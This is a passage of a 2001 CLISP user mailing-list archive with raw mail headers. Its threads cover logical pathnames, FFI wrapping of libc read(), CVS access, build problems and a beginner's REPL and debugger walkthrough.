much there in the way of documentation there. -- Frode Vatvedt Fjeld From csr21@cam.ac.uk Thu May 31 01:41:21 2001 Received: from puce.csi.cam.ac.uk ([131.111.8.40]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155O1A-0000CJ-00 for ; Thu, 31 May 2001 01:41:20 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by puce.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 155O13-0001Le-00 for clisp-list@lists.sourceforge.net; Thu, 31 May 2001 09:41:13 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.22 #1 (Debian)) id 155O11-0001B0-00; Thu, 31 May 2001 09:41:11 +0100 Date: Thu, 31 May 2001 09:41:11 +0100 From: Christophe Rhodes To: CLISP Subject: Re: [clisp-list] Pathnames... Message-ID: <20010531094111.C3312@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.18i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, May 30, 2001 at 01:48:19PM -0400, Sam Steingold wrote: > > * Honorable Christophe Rhodes writes: > > > > However, clisp -ansi as of this morning gives: > > if you live on the bleeding edge, you should subscribe to clisp-devel. In that case, please change your moderation message, which quite clearly told me to send this mail to clisp-list, or else allow messages through from non-subscribers. I have no particular desire to receive CVS commit mails, though I do follow them on geocrawler. > > [23]> (compile-file-pathname #p"cl-library:;metering;metering.lisp") > > > > *** - PARSE-NAMESTRING: argument should be a string, symbol, file > > stream or pathname, not # > > I do not observe this. In clisp -ansi? > Moreover, #p"cl-library:;metering;metering.lisp" > is not a logical pathname. It is if -ansi is enabled (I believe correctly): clisp -ansi [1]> (setf (logical-pathname-translations "CL-LIBRARY") (list '(";**;*.*.*" "/tmp/clisp/**/*.*"))) ((#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME :WILD :TYPE :WILD :VERSION :WILD) "/tmp/clisp/**/*.*")) [2]> #p"CL-LIBRARY:;foo;bar.lisp" #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO") :NAME "BAR" :TYPE "LISP" :VERSION NIL) Are you claiming that this should not be the case? > (compile-file-pathname (logical-pathname "clocc:clocc.lisp")) > is buggy, and, hopefully, will be fixed shortly. Great, thanks. Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 524 842 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From peter.wood@worldonline.dk Thu May 31 03:46:47 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155PyY-00004x-00 for ; Thu, 31 May 2001 03:46:46 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 2F360B829 for ; Thu, 31 May 2001 12:46:23 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f4VAgOL00208; Thu, 31 May 2001 12:42:24 +0200 Date: Thu, 31 May 2001 12:42:24 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] screen-editor? Message-ID: <20010531124224.A127@localhost.localdomain> References: <20010528082917.B254@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, May 30, 2001 at 03:25:51PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, May 30, 2001 at 03:25:51PM -0400, Sam Steingold wrote: > [screen-editor] has been gone for about 5 years. ... > If you want CL-Emacs, you would probably be better off making CLISP > interface with GNU Emacs via FFI. I'm mostly happy with emacs as is. The reason I asked is that I am using clisp as a login shell (with dispatch-macro-characters and read-from-delimited-stream for running programs conveniently via run-program) I would like to somehow enable indentation while running clisp on the console or an xterm. I can see 2 ways of doing it: 1) Readline 2) String-output streams I just wanted to see how these things were done in the screen-editor, but it doesn't matter. Regards, Peter From sds@gnu.org Thu May 31 07:03:13 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155T2f-0002o2-00 for ; Thu, 31 May 2001 07:03:13 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA04996; Thu, 31 May 2001 10:03:08 -0400 (EDT) X-Envelope-To: To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Pathnames... References: <20010531094111.C3312@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010531094111.C3312@cam.ac.uk> Date: 31 May 2001 10:00:04 -0400 Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010531094111.C3312@cam.ac.uk> > * On the subject of "Re: [clisp-list] Pathnames..." > * Sent on Thu, 31 May 2001 09:41:11 +0100 > * Honorable Christophe Rhodes writes: > > On Wed, May 30, 2001 at 01:48:19PM -0400, Sam Steingold wrote: > > if you live on the bleeding edge, you should subscribe to clisp-devel. > > In that case, please change your moderation message, which quite > clearly told me to send this mail to clisp-list, or else allow > messages through from non-subscribers. I have no particular desire to > receive CVS commit mails, though I do follow them on geocrawler. I repeat: if you live on the bleeding edge, you should subscribe to clisp-devel, and _read_ it, including all the CVS commit messages. clisp-devel does not allow messages from non-subscribers - it is a closed mailing list for developers and pretesters (which includes those using CVS clisp). > > (compile-file-pathname (logical-pathname "clocc:clocc.lisp")) > > is buggy, and, hopefully, will be fixed shortly. done - you knew that already if you read clisp-devel. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I want Tamagochi! -- What for? Your pet hamster is still alive! From sds@gnu.org Thu May 31 07:10:54 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155TA5-0003o1-00 for ; Thu, 31 May 2001 07:10:53 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA06461; Thu, 31 May 2001 10:10:50 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] compiling 2.26 References: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> <004d01c0e952$0fe48b00$4381fb18@CX417245D> <00cc01c0e966$06370920$4381fb18@CX417245D> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <00cc01c0e966$06370920$4381fb18@CX417245D> Date: 31 May 2001 10:07:45 -0400 Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <00cc01c0e966$06370920$4381fb18@CX417245D> > * On the subject of "Re: [clisp-list] compiling 2.26" > * Sent on Wed, 30 May 2001 17:09:55 -0700 > * Honorable "Eric de Groot" writes: > > I tried the instructions for anonymous cvs access at > ftp://clisp.cons.org/pub/lisp/clisp/snapshots/README but when I login, > it asks me for a password. It doesent except anything. is > anoncvs.gnu.org still the main cvs repository? Thanks. The README is obsolete - I just fixed it. We have been using sourceforge CVS for more than a year. Please follow the instructions on http://clisp.cons.org, and report problems in the CVS version on clisp-devel. PS. Please _do_ edit the quoted messages for _brevity_! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Every day above ground is a good day. From sds@gnu.org Thu May 31 10:03:14 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155Vqs-0008UC-00 for ; Thu, 31 May 2001 10:03:14 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA10920; Thu, 31 May 2001 13:03:09 -0400 (EDT) X-Envelope-To: To: Frode Vatvedt Fjeld Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2hd78q8ici.fsf@dslab7.cs.uit.no> Date: 31 May 2001 12:59:59 -0400 Message-ID: Lines: 89 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <2hd78q8ici.fsf@dslab7.cs.uit.no> > * On the subject of "Re: [clisp-list] UDP network streams" > * Sent on 31 May 2001 02:36:45 +0200 > * Honorable Frode Vatvedt Fjeld writes: > > > > * Honorable Frode Vatvedt Fjeld writes: > > > > > > For example, the libc read function is defined like this > > > > > > (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t)) > > > (:return-type ssize_t) > > > (:name "full_read")) > > > > > > What sort of lisp object can be used as a BUF here? I tried using an > > > array, but that didn't work..? > > Sam Steingold writes: > > > I would think (array (unsigned-byte 8) nbytes) > > This is what happens: > > [1]> (freebsd::read 1 (make-array 200 :element-type '(unsigned-byte 8)) 200) > > *** - > #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 > 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 > 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 > 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 > 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 > 0 0 0 0 0) cannot be converted to the foreign type FFI:C-POINTER > 1. Break [2]> > > > please look at the modules/bindings/linuxlibc6. > > Well, that is precisely where the definition above comes from. There > doesn't seem to be much there in the way of documentation there. Bruno said to this: read() is a good example for a function which is not well handled by the FFI, because of the untyped 'buf' which makes it possible to inadvertently smash CLISP memory. I'd recommend to write a wrapper that converts the bytes read (and only those!) to a freshly allocated (array (unsigned-byte 8)). Look at the "call-in" example in the impnotes. Something like this. (Untested, I hope you can complete it.) void* read_result_buf; size_t read_result_len; size_t read_result_size; ssize_t my_read (int fd, size_t max) { if (read_result_size < max) { read_result_size = max; read_result_buf = xrealloc(read_result_buf,read_result_size); } ssize_t n = full_read (fd, read_result_buf, max); if (n >= 0) read_result_len = n; return n; } (def-c-var read_result_buf (:type c-pointer)) (defun my-read (fd max) (let ((n (my_read fd max))) (if (< n 0) (error ... 'file-error ...)) (if (= n 0) nil (cast read_result_buf `(c-ptr (c-array uint8 ,n))) ) ) ) An alternative is the use of read-sequence, of course. Bruno -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Only adults have difficulty with childproof caps. From don-sourceforge@isis.compsvcs.com Thu May 31 11:14:39 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155Wxz-0001Eo-00 for ; Thu, 31 May 2001 11:14:39 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f4VIGEh21643; Thu, 31 May 2001 11:16:14 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15126.35438.198433.110280@isis.compsvcs.com> Date: Thu, 31 May 2001 11:16:14 -0700 (PDT) To: sds@gnu.org Cc: Frode Vatvedt Fjeld , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams In-Reply-To: References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I have no good advice here, but wanted to mention that (1) I hope you get this stuff working (2) I hope you try to make it reasonably clean and usable by others (3) I hope you make it available to the rest of us. If you do a good enough job of it I suppose Sam/Bruno might even adopt it into the distributed version. Thanks for that effort. From laprice@efn.org Thu May 31 11:27:17 2001 Received: from clavin.efn.org ([206.163.176.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155XAD-0003OG-00 for ; Thu, 31 May 2001 11:27:17 -0700 Received: from garcia.efn.org (laprice@garcia.efn.org [206.163.176.5]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f4VIRE209733 for ; Thu, 31 May 2001 11:27:14 -0700 (PDT) Received: from localhost (laprice@localhost) by garcia.efn.org (8.10.1/8.10.1) with ESMTP id f4VIRDN06729 for ; Thu, 31 May 2001 11:27:13 -0700 (PDT) X-Authentication-Warning: garcia.efn.org: laprice owned process doing -bs Date: Thu, 31 May 2001 11:27:10 -0700 (PDT) From: larry a price To: clisp-list@sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] just getting started Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: with both CL and clisp, i've got clisp installed and working with emacs and i got the ansi spec in info format and have gotten a fair bit along with it. I'm looking for pointers to documentation on the following: 1.numbered prompts When i see '#. Break [#]>' what does it mean? I've gotten the idea that the number in brackets has to do with evaluation frames and increments whenever there is an error, but i haven't found any docs that give a clear explanation of what's going on and how i could gather useful information out of that. 2.example dribble files Does anyone have some clearly commented clisp sessions posted on the net? I'd like to see examples of things like error recovery, reediting the previous form and backing out the results of a well-intentioned but misdirected expression. 3.some questions about the language lambda is implicit except when it's not, what's a good heuristic for telling the difference? A lot of forms seem to create other functions, or at least enter themselves into some sort of global hierarchy where generic functions get called on them as specific. The behavior of defstruct for example looks to do a lot of things under the covers. can the interpreter be given a flag to print out a trace of what's being altered where? Thanks in Advance, larry ps. is there a good mailing list for CL-newbies, c.l.l. seems a bit noisy and rowdy for those seeking to learn...and this list is implementation specific is it not? Larry Price | "We have seen the truth. laprice@efn.org | And the truth makes no sense." -chesterton _______________________________________________________________ From sds@gnu.org Thu May 31 11:58:44 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155Xee-0008Ob-00 for ; Thu, 31 May 2001 11:58:44 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA05387; Thu, 31 May 2001 14:58:40 -0400 (EDT) X-Envelope-To: To: larry a price Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] just getting started References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 31 May 2001 14:55:25 -0400 Message-ID: Lines: 114 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: welcome! I suggest getting (and _reading_!) the Paul Graham's "ANSI CL" book - or _any_ book on CL - you won't regret the investment! > * In message > * On the subject of "[clisp-list] just getting started" > * Sent on Thu, 31 May 2001 11:27:10 -0700 (PDT) > * Honorable larry a price writes: > > 1.numbered prompts > When i see '#. Break [#]>' what does it mean? the first number is the number of the prompt (like "\#" in bash and %# in csh), the second is the depth of the error nesting. > 2.example dribble files when CLISP is started it enters the so-called Read/Eval/Print loop: it - reads a form - evaluates it - prints the result $ clisp -q -norc [1]> (! 10) 3628800 [2]> (! 100) 93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000 [3]> 123 ; number evaluates to themselves 123 [4]> "abc" ; ditto for a string "abc" [5]> abc ; symbol --> value of the variable; ; no value --> debugger! *** - EVAL: variable ABC has no value 1. Break [6]> help Commands may be abbreviated as shown in the second column. COMMAND ABBR DESCRIPTION Help :h (or ?) this command list Error :e Print the recent Error Message Abort :a abort to the next recent input loop Unwind :uw abort to the next recent input loop Mode-1 :m1 inspect all the stack elements Mode-2 :m2 inspect all the frames Mode-3 :m3 inspect only lexical frames Mode-4 :m4 inspect only EVAL and APPLY frames (default) Mode-5 :m5 inspect only APPLY frames Where :w inspect this frame Up :u go up one frame, inspect it Top :t go to top frame, inspect it Down :d go down one frame, inspect it Bottom :b go to bottom (most recent) frame, inspect it Backtrace-1 :bt1 list all stack elements Backtrace-2 :bt2 list all frames Backtrace-3 :bt3 list all lexical frames Backtrace-4 :bt4 list all EVAL and APPLY frames Backtrace-5 :bt5 list all APPLY frames Backtrace :bt list stack in current mode Backtrace-l :bl list stack in current mode. Limit of frames to print will be prompted for. Frame-limit :fl set the frame-limit. This many frames will be printed in a backtrace at most. Break+ :br+ set breakpoint in EVAL frame Break- :br- disable breakpoint in EVAL frame Redo :rd re-evaluate form in EVAL frame Return :rt leave EVAL frame, prescribing the return values 1. Break [6]> :a ; get out of the debugger [7]> 'abc ; single quote quotes (prevents evaluation) ABC [8]> *pathname-encoding* ; take a value of a variable # [9]> '*pathname-encoding* ; quote a symbol *PATHNAME-ENCODING* [10]> help Help (abbreviated :h) = this list Use the usual editing capabilities. (quit) or (exit) leaves CLISP. [11]> (quit) > 3.some questions about the language you better ask these on news:comp.lang.lisp > lambda is implicit except when it's not, what's a good heuristic for > telling the difference? what do you mean?! > A lot of forms seem to create other functions, or at least enter > themselves into some sort of global hierarchy where generic functions > get called on them as specific. The behavior of defstruct for example > looks to do a lot of things under the covers. can the interpreter be > given a flag to print out a trace of what's being altered where? not really. check out "trace", "step" and "macroexpand" though. > ps. is there a good mailing list for CL-newbies, c.l.l. seems a bit > noisy and rowdy for those seeking to learn... still it is the place to ask questions. > and this list is implementation specific is it not? this list is specific to the CLISP implementation of ANSI Common Lisp. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The only thing worse than X Windows: (X Windows) - X From eric@ericdegroot.com Thu May 31 18:07:30 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155dPV-0004ui-00 for ; Thu, 31 May 2001 18:07:29 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id SAA06140; Thu, 31 May 2001 18:07:15 -0700 (PDT) Message-ID: <00c101c0ea37$71d5ed00$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> <004d01c0e952$0fe48b00$4381fb18@CX417245D> <00cc01c0e966$06370920$4381fb18@CX417245D> Subject: Re: [clisp-list] compiling 2.26 Date: Thu, 31 May 2001 18:09:01 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- Ok, I checked out clisp from your cvs repos at sourceforge today, but I still can't compile. 2.25.1 compiled straight through, but 2.26, and this latest checkout both fail when screen.lisp is getting compiled. Telling me "There is no package with name "SCREEN"". I looked at screen.lisp from the checkout vrs screen.lisp from 2.25.1, and the checkout includes "SCREEN" in the (use-package ) statement, which I thought might be causing the error because it's trying to include itself, but changing it didn't do anything. When I run makemake, I had to do it with --with-noreadline and --with-no-termcap-ncurses, which btw are both installed (libreadline, libncurses, libtermcap), but configure still doesent seem to find them. my libncurses doesent have tgetent(), it's version 4.x something, the latest available from the debian potato branch. Whatever, I don't think i'll need either for what I'm doing. Again, this is on debian 2.2 (2.2.19pre17). Is screen.lisp supposed to be skipped with --with-no-termcap-ncurses? Do you have any idea where the problem might be? This started with 2.26, if tgetent isent found, and --with-no-termcap-ncurses is passed to makemake, it fails trying to compile screen.lisp. There are big differences in makemake between 2.25.1 and >=2.26 so I'm thinking that's where my problem might be. I'll keep lookin around in there. Also, there is a bug with makemake from the checkout, the line(3389 for me): echol "DISTFILE=$(PACKDIR)/$(TOPDIR)-"`uname -m`-`uname -p`-`uname -s`-`uname -r`" $(PACKEXT)" needed to be changed to: echol "DISTFILE=${PACKDIR}/${TOPDIR}-"`uname -m`-`uname -p`-`uname -s`-`uname -r`" ${PACKEXT}" before it would run for me. That's curly braces instead of parens. Thanks for all your help. -Eric de Groot mailto:eric@ericdegroot.com From amoroso@mclink.it Fri Jun 01 01:51:07 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155keA-00015T-00 for ; Fri, 01 Jun 2001 01:51:06 -0700 Received: from net145-049.mclink.it (net145-049.mclink.it [195.110.145.49]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id f518p1u04401 for ; Fri, 1 Jun 2001 10:51:01 +0200 (CEST) From: Paolo Amoroso To: clisp-list@sourceforge.net Subject: Re: [clisp-list] just getting started Date: Fri, 01 Jun 2001 10:50:52 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Thu, 31 May 2001 11:27:10 -0700 (PDT), larry a price wrote: > ps. is there a good mailing list for CL-newbies, c.l.l. seems a bit noisy > and rowdy for those seeking to learn...and this list is implementation Actually, comp.lang.lisp is an excellent resource for novices. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From sds@gnu.org Fri Jun 01 06:46:27 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155pFz-000368-00 for ; Fri, 01 Jun 2001 06:46:27 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA17248; Fri, 1 Jun 2001 09:46:21 -0400 (EDT) X-Envelope-To: To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 01 Jun 2001 09:43:33 -0400 Message-ID: Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] CLISP MT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Don Cohen is accepting pledges to pay for CLISP MT. Right now we have $1,000.00. Please contact Don personally if you would like to contribute. The job posting is here: http://sourceforge.net/people/viewjob.php?group_id=1355&job_id=3573 The final decision on whether to the job is done (and thus to release the money) shall be made by Bruno. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Flying is not dangerous; crashing is. From marcoxa@cs.nyu.edu Fri Jun 01 06:53:50 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155pN8-0005px-00 for ; Fri, 01 Jun 2001 06:53:50 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA05959; Fri, 1 Jun 2001 09:51:38 -0400 Date: Fri, 1 Jun 2001 09:51:38 -0400 Message-Id: <200106011351.JAA05959@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: clisp-list@sourceforge.net In-reply-to: (message from Sam Steingold on 01 Jun 2001 09:43:33 -0400) Subject: Re: [clisp-list] CLISP MT References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > X-Envelope-To: > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > > Don Cohen is accepting pledges to pay for > CLISP MT. Right now we have $1,000.00. Please contact Don personally > if you would like to contribute. What is CLISP MT? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Fri Jun 01 07:19:52 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155pmJ-0008MT-00 for ; Fri, 01 Jun 2001 07:19:51 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA23761; Fri, 1 Jun 2001 10:19:47 -0400 